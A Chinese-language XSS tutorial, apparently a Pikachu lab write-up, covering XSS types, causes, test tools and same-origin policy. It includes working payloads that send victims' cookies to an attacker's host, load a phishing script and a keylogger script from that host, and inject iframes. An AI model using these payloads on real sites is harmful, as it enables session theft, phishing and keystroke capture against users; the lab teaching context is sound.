一.XSS简介
1.什么是XSS
XSS全程(Cross Site Scripting)跨站脚本攻击,是最常见的Web应用程序安全漏洞之一。XSS最常用的代码是javascript语言。
XSS是客户端攻击,受害者最终是用户。(一个网站存在XSS漏洞,攻击者攻击这个网站插入一段代码到对方的网页(服务器的网页),用户就会中招。)
XSS可以进行服务端攻击。(一般管理员可以对网站进行文件管理、文件上传、数据库管理等操作;所以一般攻击者借用管理员身份作为跳板,进行攻击。)
2.XSS出现的原因
程序员对输入输出控制的不够严格,导致攻击者“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。(XSS要执行必须要满足的两个条件:1.对输入的参数一定没有过滤的2.一定有输出的地方)
3.XSS代码
1111 '"><script>alert(弹出内容)</script>
二.XSS的危害
1.劫持用户的cookie
先进入pikachu的后台,如图:
返回主页,在反射型(get)中任意输入1,找出参数massage=1,如图:
注意:输入命令时,要把IP改为肉鸡的IP,如图:
要设置跳转回首页,是为了隐藏攻击者输入代码后所产生的痕迹。
输入命令:'"><script>document.location = 'http://192.168.17.132:777/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
然后,页面会跳转回首页
这时再返回后台,可以看到获取cookie的结果
由于存储型是永久性的,所以我们要清除数据,如图:
先进入这个页面
点击安装初始化
然后再点击这里
2.框架钓鱼
在存储型中输入命令:
<script src="http://192.168.17.132:777/pikachu/pkxss/xfish/fish.php"></script>
注意:要改成被攻击者的
然后会跳出弹窗,如图:
这时,我们返回pikachu的后台,就可以查看钓鱼结果
当我们再次点击存储型,会发现钓鱼页面不再出现,这时我们要清除cookie缓存
3.挂马
在存储型中输入1111'"><iframe src=https://www.baidu.com width=500 height=500></iframe> 后,点击submit,如图:
注意:宽和高要设置,如果设置等于0,页面就不会显示
4.键盘记录
(1)什么是跨域?
http:// www. oldboyedu.com :80 / news/index.php
协议 子域名 主域名 端口 资源文件
当协议、主域名、子域名、端口都相同时,称为同域。
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。
(2)什么是同源策略?
为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象(禁止A网站操作B网站的资源)
那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。
下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的:
<script src="..."> //加载本地js执行
<img src="..."> //图片
<link href="..."> //css
<iframe src="..."> //任意资源
设置允许被跨域访问: (但这种写法是错误的,只是为了做实验才这样写)
header("Access-Control-Allow-Origin:*"); (有*号代表允许所有人跨域访问)
输入<script src="http://192.168.17.132:777/pikachu/pkxss/rkeypress/rk.js"></script> ,如图:
点击后台,查看键盘记录
三.XSS分类
1.反射型XSS
交互的数据一般不会存在在数据库里面,只是简单的把用户输入的数据反射给浏览器,一次性,所见即所得。
在pikachu网站中输入代码 '"><script>alert(弹出内容)</script>发现限制输入整个代码,如图:
右击空白处,选择“检查”,如图:
更改输入的行数,如图:
然后就可以输入了,如图:
最后,再次点击反射型,命令没有被执行,所以说明反射型是一次性的,所见即所得。
反射型属于中危漏洞,它构造出代码之后,要插入到网页或QQ当中去,让别人点击触发。
2.存储型XSS
交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性。
输入代码1111 '"><script>alert(123)</script>,如图:
显示弹窗,如图:
再次点击存储型,页面还是会跳出弹窗
说明存储型是永久型储存
3.DOM型XSS
输入<a href='#' onclick="alert(2222)">what do you see?</a> ,如图:
(onclick是点击的意思)
显示弹窗,如图:
DOM型XSS漏洞属于低危漏洞。
四.XSS可能出现的地方
1.HTML Context
带参数或输入的地方都可能出现XSS漏洞。
2.Attribute Context
在网页源代码中的value地方可以构造XSS漏洞。
3.URL Context
4.Style Context
5.Script Context
五.XSS测试方法
1.工具
AWVS、Appscan、Burpsuite(自动化)
Burpsuite、firefox(hackbar)、XSSER XSSF等(半自动化)
2.手工
在浏览器中可以输入的地方输入内容,通过Burpsuite抓包,然后在post、get、cookie或user-agent、referer的地方输入代码,进行测试。